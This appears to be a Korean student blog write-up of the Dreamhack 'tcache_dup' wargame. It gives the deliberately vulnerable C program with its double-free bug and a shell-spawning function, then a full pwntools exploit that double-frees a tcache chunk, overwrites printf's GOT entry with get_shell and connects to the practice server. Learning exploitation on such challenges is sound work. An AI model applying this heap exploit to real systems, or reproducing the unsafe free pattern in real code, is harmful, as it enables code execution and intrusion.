[혼자실습] tcache_dup
// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if(cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if(!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while(1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
코드를 살펴보았다.
delete 함수 부분을 보면, ptr[idx]을 해제하고 ptr 포인터를 초기화하지 않았으므로 DFB 취약점이 존재한다.
그리고 get_shell이 있기 때문에 get_shell 함수의 주소도 이용할 수 있을 것 같다.
checksec으로 적용된 보호기법을 확인해보았다.
카나리가 존재하고, NX와 Partial RELRO 보호 기법이 적용되어 있다.
GOT overwrite를 할 수 있을 것으로 보인다.
이것도 마차가지로 기본 틀은 유지한 채로 필요한 부분만 부분적으로 수정했다.
청크를 할당하고, 두번 해제하여 double free 상태로 만들어서 그 내용을 조작할 수 있도록 한다.
그리고 printf의 got 주소를 넣고 후에 get_shell의 주소를 넣어 overwrite해준다.
위의 내용들을 종합하여 익스플로잇 코드를 작성하면 아래와 같다.
from pwn import *
p = remote("host1.dreamhack.games", 19416)
elf = ELF("./tcache_dup")
def create(size, data):
p.sendlineafter(">", "1")
p.sendlineafter("Size:", str(size))
p.sendlineafter("Data:", data)
def delete(idx):
p.sendlineafter(">", "2")
p.sendlineafter("idx:", str(idx))
get_shell = elf.symbols["get_shell"]
got_printf = elf.got["printf"]
create(0x10, "A"*0x10)
delete(0)
delete(0)
create(0x10, p64(got_printf))
create(0x10, "A"*0x10)
create(0x10, p64(get_shell))
p.interactive()
코드를 실행시키면, 계속 아래의 오류가 떴다.
아무리 해도 해결이 안돼서 다른 부원에게 도움을 청했고, 그 친구 컴퓨터에선 오류 없이 잘 돌아갔다.... (일단 보류)
'Security > System Hacking' 카테고리의 다른 글
[Dreamhack System Hacking Advanced] STAGE 2 - 함께 실습 (0) | 2022.09.18 |
---|---|
[Dreamhack System Hacking Advanced] STAGE 2 (0) | 2022.09.07 |
[Dreamhack System Hacking] STAGE 12 - tcache_dup2 (0) | 2022.04.05 |
[Dreamhack System Hacking] STAGE 12 - 함께실습 (0) | 2022.04.05 |
[Dreamhack System Hacking] STAGE 12 (0) | 2022.04.05 |
댓글